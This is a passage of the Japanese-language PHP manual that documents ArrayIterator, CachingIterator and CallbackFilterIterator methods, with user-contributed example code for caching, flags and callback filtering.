$iterator = $arrayobject->getIterator();

if($iterator->valid()){
    $iterator->seek(1);            // expected: two, output: two
    echo $iterator->current();    // two
}

?>


シリアライズする

  • ≪ ArrayIterator::seek
  • ArrayIterator::setFlags ≫
  • PHP Manual
  • ArrayIterator
  • シリアライズする

ArrayIterator::serialize

(PHP 5 >= 5.3.0, PHP 7)

ArrayIterator::serialize — シリアライズする

説明

public ArrayIterator::serialize ( ) : string

シリアライズします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

シリアライズした ArrayIterator を返します。

参考

  • ArrayIterator::unserialize() - アンシリアライズする

User Contributed Notes

There are no user contributed notes for this page.


振る舞いのフラグを設定する

  • ≪ ArrayIterator::serialize
  • ArrayIterator::uasort ≫
  • PHP Manual
  • ArrayIterator
  • 振る舞いのフラグを設定する

ArrayIterator::setFlags

(PHP 5 >= 5.1.0, PHP 7)

ArrayIterator::setFlags — 振る舞いのフラグを設定する

説明

public ArrayIterator::setFlags ( string $flags ) : void

振る舞いのフラグを設定します。

パラメータ

flags

新しい ArrayIterator の振る舞い。 以下のいずれかの値のビットマスクか、名前付き定数を設定します。 将来のバージョンとの互換性を保証するため、 名前付き定数を使うことを強く推奨します。

利用可能なフラグは以下のとおりです。 これらのフラグの実際の意味は、 定義済みの定数 で説明しています。

ArrayIterator の振る舞いを表すフラグ
値 | 定数
1 | ArrayIterator::STD_PROP_LIST
2 | ArrayIterator::ARRAY_AS_PROPS

返り値

値を返しません。

参考

  • ArrayIterator::getFlags() - 振る舞いのフラグを取得する

User Contributed Notes

There are no user contributed notes for this page.


ユーザー定義の比較関数を使ってソートを行い、インデックスとの関連を管理する

  • ≪ ArrayIterator::setFlags
  • ArrayIterator::uksort ≫
  • PHP Manual
  • ArrayIterator
  • ユーザー定義の比較関数を使ってソートを行い、インデックスとの関連を管理する

ArrayIterator::uasort

(PHP 5 >= 5.2.0, PHP 7)

ArrayIterator::uasort — ユーザー定義の比較関数を使ってソートを行い、インデックスとの関連を管理する

説明

public ArrayIterator::uasort ( callable $cmp_function ) : void

この関数は、ユーザー定義の比較関数を使って 関連している値とインデックスの関係を管理する方法で、要素をソートします。

注意:

比較結果が等しくなる二つの要素があった場合、ソートした配列におけるそれらの並び順は不定となります。

パラメータ

cmp_function

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int

返り値

値を返しません。

参考

  • ArrayIterator::asort() - 値で配列をソートする
  • ArrayIterator::uksort() - ユーザー定義の比較関数を使い、キーでソートする
  • usort() - ユーザー定義の比較関数を使用して、配列を値でソートする

User Contributed Notes

There are no user contributed notes for this page.


ユーザー定義の比較関数を使い、キーでソートする

  • ≪ ArrayIterator::uasort
  • ArrayIterator::unserialize ≫
  • PHP Manual
  • ArrayIterator
  • ユーザー定義の比較関数を使い、キーでソートする

ArrayIterator::uksort

(PHP 5 >= 5.2.0, PHP 7)

ArrayIterator::uksort — ユーザー定義の比較関数を使い、キーでソートする

説明

public ArrayIterator::uksort ( callable $cmp_function ) : void

ユーザー定義の比較関数を使って、キーでエントリをソートします。

注意:

比較結果が等しくなる二つの要素があった場合、ソートした配列におけるそれらの並び順は不定となります。

パラメータ

cmp_function

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int

返り値

値を返しません。

参考

  • ArrayIterator::ksort() - キーで配列をソートする
  • ArrayIterator::uasort() - ユーザー定義の比較関数を使ってソートを行い、インデックスとの関連を管理する
  • uksort() - ユーザー定義の比較関数を用いて、キーで配列をソートする

User Contributed Notes

There are no user contributed notes for this page.


アンシリアライズする

  • ≪ ArrayIterator::uksort
  • ArrayIterator::valid ≫
  • PHP Manual
  • ArrayIterator
  • アンシリアライズする

ArrayIterator::unserialize

(PHP 5 >= 5.3.0, PHP 7)

ArrayIterator::unserialize — アンシリアライズする

説明

public ArrayIterator::unserialize ( string $serialized ) : void

アンシリアライズします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

serialized

シリアライズした ArrayIterator オブジェクト。

返り値

値を返しません。

参考

  • ArrayIterator::serialize() - シリアライズする

User Contributed Notes

There are no user contributed notes for this page.


配列がまだエントリを持っているかどうかチェックする

  • ≪ ArrayIterator::unserialize
  • CachingIterator ≫
  • PHP Manual
  • ArrayIterator
  • 配列がまだエントリを持っているかどうかチェックする

ArrayIterator::valid

(PHP 5, PHP 7)

ArrayIterator::valid — 配列がまだエントリを持っているかどうかチェックする

説明

public ArrayIterator::valid ( ) : bool

配列がまだエントリを持っているかどうかチェックします。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータが有効な場合に true、それ以外の場合に false を返します。

例

例1 ArrayIterator::valid() の例

<?php
$array = array('1' => 'one');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

var_dump($iterator->valid()); //bool(true)

$iterator->next(); // 次のアイテムに進める

//配列要素が 1 つしかないので bool(false)
var_dump($iterator->valid());
?>

User Contributed Notes

There are no user contributed notes for this page.


CachingIterator クラス

(PHP 5, PHP 7)

はじめに

このオブジェクトは、別のイテレータからキャッシュされた反復処理をサポートします。

クラス概要

CachingIterator extends IteratorIterator implements OuterIterator , ArrayAccess , Countable {
/* 定数 */
const int CALL_TOSTRING = 1 ;
const int CATCH_GET_CHILD = 16 ;
const int TOSTRING_USE_KEY = 2 ;
const int TOSTRING_USE_CURRENT = 4 ;
const int TOSTRING_USE_INNER = 8 ;
const int FULL_CACHE = 256 ;
/* メソッド */
public __construct ( Iterator $iterator , int $flags = self::CALL_TOSTRING )
public count ( ) : int
public current ( ) : mixed
public getCache ( ) : array
public getFlags ( ) : int
public getInnerIterator ( ) : Iterator
public hasNext ( ) : void
public key ( ) : scalar
public next ( ) : void
public offsetExists ( mixed $index ) : void
public offsetGet ( string $index ) : void
public offsetSet ( mixed $index , mixed $newval ) : void
public offsetUnset ( string $index ) : void
public rewind ( ) : void
public setFlags ( int $flags ) : void
public __toString ( ) : void
public valid ( ) : void
}

定義済み定数

CachingIterator::CALL_TOSTRING

Convert every element to string.

CachingIterator::CATCH_GET_CHILD

Don't throw exception in accessing children.

CachingIterator::TOSTRING_USE_KEY

Use key for conversion to string.

CachingIterator::TOSTRING_USE_CURRENT

Use current for conversion to string.

CachingIterator::TOSTRING_USE_INNER

Use inner for conversion to string.

CachingIterator::FULL_CACHE

Cache all read data.

目次

  • CachingIterator::__construct — 新しい CachingIterator オブジェクトを作成する
  • CachingIterator::count — イテレータ内の要素の数
  • CachingIterator::current — 現在の要素を返す
  • CachingIterator::getCache — キャッシュの内容を取得する
  • CachingIterator::getFlags — 使用しているフラグを取得する
  • CachingIterator::getInnerIterator — 内部イテレータを返す
  • CachingIterator::hasNext — 内部イテレータが有効な次の要素を持つかどうかをチェックする
  • CachingIterator::key — 現在の要素のキーを返す
  • CachingIterator::next — イテレータを前方に移動する
  • CachingIterator::offsetExists — The offsetExists purpose
  • CachingIterator::offsetGet — The offsetGet purpose
  • CachingIterator::offsetSet — The offsetSet purpose
  • CachingIterator::offsetUnset — The offsetUnset purpose
  • CachingIterator::rewind — イテレータを巻き戻す
  • CachingIterator::setFlags — The setFlags purpose
  • CachingIterator::__toString — 現在の要素の文字列表現を返す
  • CachingIterator::valid — 現在の要素が有効かどうかをチェックする

User Contributed Notes

xedin dot unknown at gmail dot com 07-May-2020 05:19
Apparently, the `FULL_CACHE` flag automatically cancels the default flag `CALL_TOSTRING`. This is evident when one of the values cannot be converted to string: with the default `CALL_TOSTRING` flag, it would throw an error; without that flag, or with the `FULL_CACHE` flag, it does not.
ahmad dot mayahi at gmail dot com 25-Apr-2020 09:53
The only difference between CachingIterator and other Iterators such as ArrayIterator is the hasNext() method.

Since the data will be loaded into the memory, the CachingIterator is able to check whether the given iterator has a next element.

Let's demonstrate this by an example:

<?php
$iterator = new CachingIterator(new ArrayIterator(['C', 'C++', 'C#', 'PHP', 'Python', 'Go', 'Ruby']));

foreach ($iterator as $item) {
    if ($iterator->hasNext()) {
        echo $item.', ';
    } else {
        echo 'and '.$item;
    }
}

// C, C++, C#, PHP, Python, Go, and Ruby
?>

In this example I check whether the iterator has a next value, if so, I append a comma otherwise "and" will be appended to the last element.
jerome at chaman dot ca 15-Dec-2019 12:37
"cached iteration over another iterator" means this iterator is always one step behind the inner iterator. In other words, the "first" iteration will yield null:

<?php

$cit = new CachingIterator( new ArrayIterator( [ 'a', 'b', 'c']  ) );

echo $cit->current() ); // null
echo $cit->getInnerIterator()->current() ); // "a"

while($cit->hasNext()){

    // we start with a "next" since the "first" item is null
     $cit->next();
     echo $cit->current(), '<br>';

}
?>

iterating this way gives us an access, ahead, to the future item (aka current item of the inner iterator)
ahmad dot mayahi at gmail dot com 24-Oct-2016 07:54
<?php
//This snippet will print out all the cached elements (foreach) .

$cache  = new CachingIterator(new ArrayIterator(range(1,100)), CachingIterator::FULL_CACHE);

foreach ($cache as $c) {

}

print_r($cache->getCache());
?>


新しい CachingIterator オブジェクトを作成する

  • ≪ CachingIterator
  • CachingIterator::count ≫
  • PHP Manual
  • CachingIterator
  • 新しい CachingIterator オブジェクトを作成する

CachingIterator::__construct

(PHP 5, PHP 7)

CachingIterator::__construct — 新しい CachingIterator オブジェクトを作成する

説明

public CachingIterator::__construct ( Iterator $iterator , int $flags = self::CALL_TOSTRING )
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

キャッシュしたいイテレータ。

flags

フラグのビットマスク。

User Contributed Notes

There are no user contributed notes for this page.


イテレータ内の要素の数

  • ≪ CachingIterator::__construct
  • CachingIterator::current ≫
  • PHP Manual
  • CachingIterator
  • イテレータ内の要素の数

CachingIterator::count

(PHP 5 >= 5.2.2, PHP 7)

CachingIterator::count — イテレータ内の要素の数

説明

public CachingIterator::count ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

イテレータ内の要素の数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータ内の要素の数を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素を返す

  • ≪ CachingIterator::count
  • CachingIterator::getCache ≫
  • PHP Manual
  • CachingIterator
  • 現在の要素を返す

CachingIterator::current

(PHP 5, PHP 7)

CachingIterator::current — 現在の要素を返す

説明

public CachingIterator::current ( ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

イテレータの現在の要素を返します。

パラメータ

この関数にはパラメータはありません。

返り値

Mixed

参考

  • Iterator::current() - 現在の要素を返す

User Contributed Notes

There are no user contributed notes for this page.


キャッシュの内容を取得する

  • ≪ CachingIterator::current
  • CachingIterator::getFlags ≫
  • PHP Manual
  • CachingIterator
  • キャッシュの内容を取得する

CachingIterator::getCache

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::getCache — キャッシュの内容を取得する

説明

public CachingIterator::getCache ( ) : array

キャッシュの内容を取得します。

注意:

CachingIterator::FULL_CACHE フラグを使う必要があります。

パラメータ

この関数にはパラメータはありません。

返り値

キャッシュの内容を含む配列を返します。

エラー / 例外

CachingIterator::FULL_CACHE フラグを使っていない場合に BadMethodCallException をスローします。

例

例1 CachingIterator::getCache() の例

<?php
$iterator = new ArrayIterator(array(1, 2, 3));
$cache    = new CachingIterator($iterator, CachingIterator::FULL_CACHE);

$cache->next();
$cache->next();
var_dump($cache->getCache());

$cache->next();
var_dump($cache->getCache());
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


使用しているフラグを取得する

  • ≪ CachingIterator::getCache
  • CachingIterator::getInnerIterator ≫
  • PHP Manual
  • CachingIterator
  • 使用しているフラグを取得する

CachingIterator::getFlags

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::getFlags — 使用しているフラグを取得する

説明

public CachingIterator::getFlags ( ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

CachingIterator インスタンスが使用するフラグのビットマスクを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

Description...

User Contributed Notes

Anonymous 06-Feb-2015 09:57
use 'CachingIterator::TOSTRING_USE_INNER' flag

<?php
class A extends ArrayIterator {
    public function __toString(){
        return 'toString this class';
        }
    }

$iterator = new A(array('apple'=>10, 'banana'=>20, 'cat'=>30));
$cache    = new CachingIterator($iterator, CachingIterator::TOSTRING_USE_INNER);

$cache->next();
$cache->next();

echo $cache;

/*
output:
toString this class

*/
?>
kais7mg at qq dot com 06-Feb-2015 09:49
use the 'CachingIterator::TOSTRING_USE_KEY', when echo this Object,
output current 'key';

<?php
$iterator = new ArrayIterator(array('apple'=>10, 'banana'=>20, 'cat'=>30));
$cache    = new CachingIterator($iterator, CachingIterator::TOSTRING_USE_KEY);

$cache->next();
$cache->next();

echo $cache;
?>

output:
banana


内部イテレータを返す

  • ≪ CachingIterator::getFlags
  • CachingIterator::hasNext ≫
  • PHP Manual
  • CachingIterator
  • 内部イテレータを返す

CachingIterator::getInnerIterator

(PHP 5, PHP 7)

CachingIterator::getInnerIterator — 内部イテレータを返す

説明

public CachingIterator::getInnerIterator ( ) : Iterator
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

コンストラクタに送信されたイテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Iterator インターフェイスを実装したオブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータが有効な次の要素を持つかどうかをチェックする

  • ≪ CachingIterator::getInnerIterator
  • CachingIterator::key ≫
  • PHP Manual
  • CachingIterator
  • 内部イテレータが有効な次の要素を持つかどうかをチェックする

CachingIterator::hasNext

(PHP 5, PHP 7)

CachingIterator::hasNext — 内部イテレータが有効な次の要素を持つかどうかをチェックする

説明

public CachingIterator::hasNext ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

andresdzphp at php dot net 26-Sep-2011 01:08
CachingIterator::hasNext Example

<?php
$ait = new ArrayIterator(array('Value 1', 'Value 2', 'Value 3', 'Value 4'));
$cit = new CachingIterator($ait);

foreach ($cit as $value) {
    echo $value;
    //if has a next value, print a comma
    if ($cit->hasNext()) {
        echo ', ';
    }
}
?>

Result: Value 1, Value 2, Value 3, Value 4


現在の要素のキーを返す

  • ≪ CachingIterator::hasNext
  • CachingIterator::next ≫
  • PHP Manual
  • CachingIterator
  • 現在の要素のキーを返す

CachingIterator::key

(PHP 5, PHP 7)

CachingIterator::key — 現在の要素のキーを返す

説明

public CachingIterator::key ( ) : scalar
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

このメソッドは、現在の要素のキーを返します。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを前方に移動する

  • ≪ CachingIterator::key
  • CachingIterator::offsetExists ≫
  • PHP Manual
  • CachingIterator
  • イテレータを前方に移動する

CachingIterator::next

(PHP 5, PHP 7)

CachingIterator::next — イテレータを前方に移動する

説明

public CachingIterator::next ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

イテレータを前方に移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • ≪ CachingIterator::next
  • CachingIterator::offsetGet ≫
  • PHP Manual
  • CachingIterator
  • The offsetExists purpose

CachingIterator::offsetExists

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::offsetExists — The offsetExists purpose

説明

public CachingIterator::offsetExists ( mixed $index ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

調べたいインデックス。

返り値

そのオフセットがさすエントリが存在する場合に true、そうでない場合に false を返します。

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:07
offsetExists($index) examines the cache, not the inner or outer iterator.

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);
        $fullRange = range(0, 3);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        foreach ($fullRange as $offset) {
            print_r("cache offset '$offset' " .
                ($cache->offsetExists("$offset") == 1
                    ? 'exists'
                    : "doesn't exist"
                ) . PHP_EOL);
        }
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)
cache offset '0' exists
cache offset '1' exists
cache offset '2' doesn't exist
cache offset '3' doesn't exist


The offsetGet purpose

  • ≪ CachingIterator::offsetExists
  • CachingIterator::offsetSet ≫
  • PHP Manual
  • CachingIterator
  • The offsetGet purpose

CachingIterator::offsetGet

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::offsetGet — The offsetGet purpose

説明

public CachingIterator::offsetGet ( string $index ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

Description...

返り値

Description...

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:06
offsetGet($index) returns the value stored at $index in the cache. Until you've
iterated over the items, the cache is empty and the index will not exist.

 <?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        echo $cache->offsetGet('1') . PHP_EOL;
        echo $cache->offsetGet('2') . PHP_EOL;
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)

b
Undefined index: 2


The offsetSet purpose

  • ≪ CachingIterator::offsetGet
  • CachingIterator::offsetUnset ≫
  • PHP Manual
  • CachingIterator
  • The offsetSet purpose

CachingIterator::offsetSet

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::offsetSet — The offsetSet purpose

説明

public CachingIterator::offsetSet ( mixed $index , mixed $newval ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

設定したい要素のインデックス。

newval

index の新しい値。

返り値

値を返しません。

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:23
offsetSet($index, $newval) will change an existing cache value or create a new cache entry

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        echo $cache->offsetSet('0', 'manual change') . PHP_EOL;
        echo $cache->offsetSet('3', 'manual entry') . PHP_EOL;
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)

The cache
array (
  0 => 'manual change',
  1 => 'b',
  3 => 'manual entry',
)

There is no requirement that the offset exist in the inner iterator, or that the offset exists in the cache.

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator([]),
            \CachingIterator::FULL_CACHE);

        echo $cache->offsetSet('22', 'manual entry') . PHP_EOL;

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        print_r("cache offset '22' " .
            ($cache->offsetExists('22') == 1
                ? 'exists'
                : "doesn't exist"
            ) . PHP_EOL);
?>

The cache
array (
  22 => 'manual entry',
)
cache offset '22' exists


The offsetUnset purpose

  • ≪ CachingIterator::offsetSet
  • CachingIterator::rewind ≫
  • PHP Manual
  • CachingIterator
  • The offsetUnset purpose

CachingIterator::offsetUnset

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::offsetUnset — The offsetUnset purpose

説明

public CachingIterator::offsetUnset ( string $index ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

index

設定を解除したい要素のインデックス。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ CachingIterator::offsetUnset
  • CachingIterator::setFlags ≫
  • PHP Manual
  • CachingIterator
  • イテレータを巻き戻す

CachingIterator::rewind

(PHP 5, PHP 7)

CachingIterator::rewind — イテレータを巻き戻す

説明

public CachingIterator::rewind ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

イテレータを巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The setFlags purpose

  • ≪ CachingIterator::rewind
  • CachingIterator::__toString ≫
  • PHP Manual
  • CachingIterator
  • The setFlags purpose

CachingIterator::setFlags

(PHP 5 >= 5.2.0, PHP 7)

CachingIterator::setFlags — The setFlags purpose

説明

public CachingIterator::setFlags ( int $flags ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

CachingIterator オブジェクトのフラグを設定します。

パラメータ

flags

設定したいフラグのビットマスク。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素の文字列表現を返す

  • ≪ CachingIterator::setFlags
  • CachingIterator::valid ≫
  • PHP Manual
  • CachingIterator
  • 現在の要素の文字列表現を返す

CachingIterator::__toString

(PHP 5, PHP 7)

CachingIterator::__toString — 現在の要素の文字列表現を返す

説明

public CachingIterator::__toString ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の要素の文字列表現を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素の文字列表現を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素が有効かどうかをチェックする

  • ≪ CachingIterator::__toString
  • CallbackFilterIterator ≫
  • PHP Manual
  • CachingIterator
  • 現在の要素が有効かどうかをチェックする

CachingIterator::valid

(PHP 5, PHP 7)

CachingIterator::valid — 現在の要素が有効かどうかをチェックする

説明

public CachingIterator::valid ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の要素が有効かどうかをチェックします。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


CallbackFilterIterator クラス

(PHP 5 >= 5.4.0, PHP 7)

はじめに

クラス概要

CallbackFilterIterator extends FilterIterator implements OuterIterator {
/* メソッド */
public __construct ( Iterator $iterator , callable $callback )
public accept ( ) : bool
/* 継承したメソッド */
public abstract FilterIterator::accept ( ) : bool
public FilterIterator::__construct ( Iterator $iterator )
public FilterIterator::current ( ) : mixed
public FilterIterator::getInnerIterator ( ) : Iterator
public FilterIterator::key ( ) : mixed
public FilterIterator::next ( ) : void
public FilterIterator::rewind ( ) : void
public FilterIterator::valid ( ) : bool
}

例

コールバックは、三つの引数を受け付けなければなりません。 それぞれ、現在のアイテム、現在のキー、そしてイテレータを表します。

例1 利用可能なコールバック引数

<?php

/**
 * CallbackFilterIterator 用のコールバック
 *
 * @param $current   現在のアイテムの値
 * @param $key       現在のアイテムのキー
 * @param $iterator  フィルタリングするイテレータ
 * @return boolean   現在のアイテムを受け付ける場合は TRUE、それ以外の場合は FALSE
 */
function my_callback($current, $key, $iterator) {
    // ここにフィルタリングのコードを書きます
}

?>

任意の callable を使うことができます。 関数名を含む文字列、メソッドを表す配列、あるいは無名関数などです。

例2 コールバックの基本例

<?php

$dir = new FilesystemIterator(__DIR__);

// 大きなファイル ( > 100MB) をフィルタします
function is_large_file($current) {
    return $current->isFile() && $current->getSize() > 104857600;
}
$large_files = new CallbackFilterIterator($dir, 'is_large_file');

// ディレクトリをフィルタします
$files = new CallbackFilterIterator($dir, function ($current, $key, $iterator) {
    return $current->isDir() && ! $iterator->isDot();
});

?>

目次

  • CallbackFilterIterator::accept — 現在の値、現在のキー、そして内部イテレータを引数としてでコールバックを呼び出す
  • CallbackFilterIterator::__construct — フィルタリングしたイテレータを別のイテレータから作成する

User Contributed Notes

asadi dot jabar at outlook dot com 06-Aug-2018 11:21
CallbackFilterIterator class  didnot implement   OuterIterator interface directly

below  is the correct hierarchy

 CallbackFilterIterator
          |__FilterIterator
             |___  IteratorIterator
                 |____ OuterIterator

please fix the documentation
tunaabutbul[plus]php[at]gmail[dot]com 03-Aug-2017 12:41
i PHP 7 you can use Anonymous classes to get the same results.

<?php

class MyIterator implements Iterator
{
    /**
     * @var \Iterator
     */
    protected $next;

    /**
     * Collection constructor.
     *
     * @param \Iterator $next
     */
    public function __construct(Iterator $next)
    {
        $this->next = $next;
    }

    /**
     * @param callable $callback
     *
     * @return static
     */
    public function filter(callable $callback = null)
    {
        return new static(new class($this, $callback) extends FilterIterator
        {
            protected $callback;

            public function __construct(\Iterator $iterator, callable $callback = null)
            {
                parent::__construct($iterator);

                $this->callback = $callback ?: function($current) {
                    return ! empty($current);
                };;
            }

            public function accept()
            {
                return call_user_func($this->callback, parent::accept());
            }
        });
    }
   // Iterator methods ...
}
// .......
?>
dave1010 at gmail dot com 25-May-2012 01:29
Implementation for PHP < 5.4:

<?php
if (!class_exists('CallbackFilterIterator')) {
    class CallbackFilterIterator extends FilterIterator {
        protected $callback;

        // "Closure" type hint should be "callable" in PHP 5.4
        public function __construct(Iterator $iterator, Closure $callback = null) {
            $this->callback = $callback;
            parent::__construct($iterator);
        }

        public function accept() {
            return call_user_func(
                $this->callback,
                $this->current(),
                $this->key(),
                $this->getInnerIterator()
            );
        }
    }
}

?>


現在の値、現在のキー、そして内部イテレータを引数としてでコールバックを呼び出す

  • ≪ CallbackFilterIterator
  • CallbackFilterIterator::__construct ≫
  • PHP Manual
  • CallbackFilterIterator
  • 現在の値、現在のキー、そして内部イテレータを引数としてでコールバックを呼び出す

CallbackFilterIterator::accept

(PHP 5 >= 5.4.0, PHP 7)

CallbackFilterIterator::accept — 現在の値、現在のキー、そして内部イテレータを引数としてでコールバックを呼び出す

説明

public CallbackFilterIterator::accept ( ) : bool

このメソッドは、現在の値とキーそして内部イテレータを使ってコールバックをコールします。

コールバックは、現在のアイテムを受け付ける場合に true、 拒否する場合に false を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のアイテムを受け付ける場合に true、それ以外の場合に false を返します。

参考

  • CallbackFilterIterator の例
  • CallbackFilterIterator::__construct() - フィルタリングしたイテレータを別のイテレータから作成する

User Contributed Notes

There are no user contributed notes for this page.


フィルタリングしたイテレータを別のイテレータから作成する

  • ≪ CallbackFilterIterator::accept
  • DirectoryIterator ≫
  • PHP Manual
  • CallbackFilterIterator
  • フィルタリングしたイテレータを別のイテレータから作成する

CallbackFilterIterator::__construct

(PHP 5 >= 5.4.0, PHP 7)

CallbackFilterIterator::__construct — フィルタリングしたイテレータを別のイテレータから作成する

説明

public CallbackFilterIterator::__construct ( Iterator $iterator , callable $callback )

callback でフィルタリングしたイテレータを作って、 どのアイテムを受け付けてどれを拒否するかを決めます。

パラメータ

iterator

フィルタリングするイテレータ。

callback

コールバック。現在のアイテムを受け付ける場合に true、 拒否する場合に false を返します。 例 を参照ください。

任意の callable 値を指定できます。

返り値

値を返しません。

参考

  • CallbackFilterIterator の例
  • CallbackFilterIterator::accept() - 現在の値、現在のキー、そして内部イテレータを引数としてでコールバックを呼び出す

User Contributed Notes

There are no user contributed notes for this page.


DirectoryIterator クラス

(PHP 5, PHP 7)

はじめに

DirectoryIterator クラスは、 ファイルシステムのディレクトリを閲覧するためのシンプルなインターフェイスです。

クラス概要

DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* メソッド */
public __construct ( string $path )
public current ( ) : DirectoryIterator
public getATime ( ) : int
public getBasename ( string $suffix = ? ) : string
public getCTime ( ) : int
public getExtension ( ) : string
public getFilename ( ) : string
public getGroup ( ) : int
public getInode ( ) : int
public getMTime ( ) : int
public getOwner ( ) : int
public getPath ( ) : string
public getPathname ( ) : string
public getPerms ( ) : int
public getSize ( ) : int
public getType ( ) : string
public isDir ( ) : bool
public isDot ( ) : bool
public isExecutable ( ) : bool
public isFile ( ) : bool
public isLink ( ) : bool
public isReadable ( ) : bool
public isWritable ( ) : bool
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public seek ( int $position ) : void
public __toString ( ) : string
public valid ( ) : bool
}

変更履歴

バージョン | 説明
5.1.2 | DirectoryIterator は SplFileInfo を継承するようになりました。

目次

  • DirectoryIterator::__construct — パスから新規ディレクトリイテレータを生成する
  • DirectoryIterator::current — 現在の DirectoryIterator アイテムを返す
  • DirectoryIterator::getATime — 現在の DirectoryIterator アイテムの最終アクセス時刻を取得する
  • DirectoryIterator::getBasename — 現在の DirectoryIterator のアイテムのベース名を取得する
  • DirectoryIterator::getCTime — 現在の DirectoryIterator アイテムの inode 修正時刻を取得する
  • DirectoryIterator::getExtension — ファイルの拡張子を取得する
  • DirectoryIterator::getFilename — 現在の DirectoryIterator アイテムのファイル名を返す
  • DirectoryIterator::getGroup — 現在の DirectoryIterator アイテムのグループを取得する
  • DirectoryIterator::getInode — 現在の DirectoryIterator アイテムの inode を取得する
  • DirectoryIterator::getMTime — 現在の DirectoryIterator アイテムの最終修正時刻を取得する
  • DirectoryIterator::getOwner — 現在の DirectoryIterator アイテムの所有者を取得する
  • DirectoryIterator::getPath — 現在の Iterator アイテムのパスをファイル名抜きで返す
